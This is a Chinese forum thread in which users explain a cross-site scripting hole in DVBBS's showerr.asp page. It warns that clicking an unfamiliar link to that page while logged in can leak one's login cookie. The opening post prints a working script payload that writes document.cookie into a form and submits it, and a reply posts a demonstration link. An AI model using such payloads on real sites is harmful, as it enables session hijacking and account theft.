原因：action=<Script>document.write(formstart);document.write(document.cookie);document.write(formend);document.forms[0].submit;window.close （在智星测试通过） 在管理员做出修改之前，请务必当心来路不明的指向showerr.asp的链接。

看不明白，偶像告诉我，危害溡什么罢

引用:

以下是引用[I]智深[/I]在2005-9-11 20:48:09的发言：[BR]看不明白，偶像告诉我，危害溡什么罢

老板说，会有来路不明的指向showerr.asp的链接。
老板还说，他喜欢到处找漏洞，可是找完了以后没人理他，他很郁闷。

郁闷个啥，等狼真来再郁闷不迟。
通过http://218.1.231.240/iqbbs/showerr.asp把智星的cookie发出来，这样你的身份就等于被别人盗取了。修复的办法很简单，管理员把脚本加上一行过滤即可。

也不明白

比如说甲写个恶意连接，乙在登陆状态下点击，甲得到乙的cookie后编辑到自己的文件里，就相当于以乙的身份登陆。范例如下，千万不要在登陆状态下点那个 “~XX~”
[username=沙鸥,boydreaming,onlyone]http://www.gaonaojin.com/city/dispbbs.asp?boardID=6&ID=21495&page=1[/username]

[此贴子已经被作者于2006-1-14 0:05:11编辑过]

这是动网的老漏洞了。动网很破的。。。